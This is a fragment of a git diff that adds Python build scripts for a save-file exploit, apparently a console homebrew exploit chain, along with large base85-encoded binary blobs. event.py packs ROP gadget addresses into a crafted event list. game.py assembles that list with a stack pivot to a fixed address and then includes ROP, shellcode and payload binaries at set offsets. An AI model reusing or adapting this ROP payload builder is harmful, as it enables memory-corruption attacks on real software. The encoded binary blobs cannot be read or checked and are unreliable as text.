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 KnSc4$<$nhXJj}uX literal 0 HcmV?d00001 diff --git a/game/event.py b/game/event.py new file mode 100644 index 0000000..1e67abe --- /dev/null +++ b/game/event.py @@ -0,0 +1,29 @@ +import itertools +include("../ropdb/DB.py") + +def u32_to_byte_list(u32): + return [(u32 & (0xFF << 8*i)) >> 8*i for i in range(4)] + +def u32_array_to_bits_array(l): + L = [] + for u32 in l: + for b in u32_to_byte_list(u32): + for i in range(8): + L.append((b & (1 << i)) >> i) + return L + +def bits_array_to_bits_count(l): + return [(b, len(list(i))) for b, i in itertools.groupby(l)] + +def make_event_list(l, addr): + l = bits_array_to_bits_count(u32_array_to_bits_array(l)) + event_list = [0X2D, 0x00, 0xFF, 0xFF, 0x04, 0x00, 0x0C, 0x00, 0, 0, 0, 0, 0, 0, 0, 0]*len(l) + k = 0 + for b, c in l: + index = (addr - BUTTON_TABLE) * 8 + event_list += [0x01, 0xFF, 0xFF, 0x0F] + event_list += [b, int(c > 1), 0x00, 0x00] + event_list += u32_to_byte_list(index + k) + event_list += u32_to_byte_list(index + k + c - 1) + k += c + return event_list, len(l) diff --git a/game/game.py b/game/game.py new file mode 100644 index 0000000..b906e1a --- /dev/null +++ b/game/game.py @@ -0,0 +1,26 @@ +include("event.py") +include("../ropdb/DB.py") +import os + +event_list, count = make_event_list([POP_R0PC, ROP_PTR, POP_R1PC, NOP, MOV_SPR0_MOV_R0R2_MOV_LRR3_BX_R1], STACK_DEST) + +incbin("bins/file_0.bin") +add_word(len(event_list) + 0x46C) # sample map size + +incbin("bins/file_1.bin") +add_word(count) + +incbin("bins/event_opt.bin") + +append(event_list) + +org(0x160000) +incbin("../rop/build/rop.bin") + +org(0x170000) +incbin("../code/code.bin") + +org(0x190000) +add_word(os.path.getsize('../otherapp.bin')) +incbin("../otherapp.bin") + diff --git a/pyrop/__pycache__/base_modules.cpython-35.pyc b/pyrop/__pycache__/base_modules.cpython-35.pyc new file mode 100644 index 0000000000000000000000000000000000000000..c0c5951b053d0d29d10b64563523f6a898ccb690 GIT binary patch literal 13748 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 literal 0 HcmV?d00001 diff --git a/pyrop/__pycache__/builder_base.cpython-35.pyc b/pyrop/__pycache__/builder_base.cpython-35.pyc new file mode 100644 index 0000000000000000000000000000000000000000..8c446c63876fc6898b55e2378373e9486df0136d GIT binary patch literal 7814 zcmbVRTX!2*6+WXGT`k*j;%m~&geGm&61%0Puu2F`<2F#J8|u)cUQNYVGqT5#G|HJ# zVv7V8q|mY!4`uPfD~l)o(k$M1%3tUUeBVAAT^uJg9ecKp&Ta3r?`Laqdb;xA!oP1+ z7M1#s8haeH-^Lp^0et*hs-@J{ux+U=E9=jxt(*#M^#Btb<>!=dtIyHSt1CXf=lKQj z0p=CZRZxCWx{4|&s0X&%DsubHTInHhsf~uk4?H=%q~kK)_&tDoO6}nvi1DA}hW9O% z-F0`uhsF|LA{<9 zblh!)NxImM{9Y@F>%BP8^=7ZrNW!QSr{yWal(TK7Ol-L>sr*z!TcwigGh-Gg*`f}#?T#RSS)u$HVvOIOiuup@iO zMm}*DAb@PZ4?q#y7fLnpRXFq~Fb|@I)NBRWL2!^FWCx+KEu!;F(uUB=%CAVfr2Hx6 zSEY^4Y30vIyP~l9W^Fc|dIyxhV@}baT=|fwJl-PS_!7Vu7UwsiKp8RjZIwXokg}!j 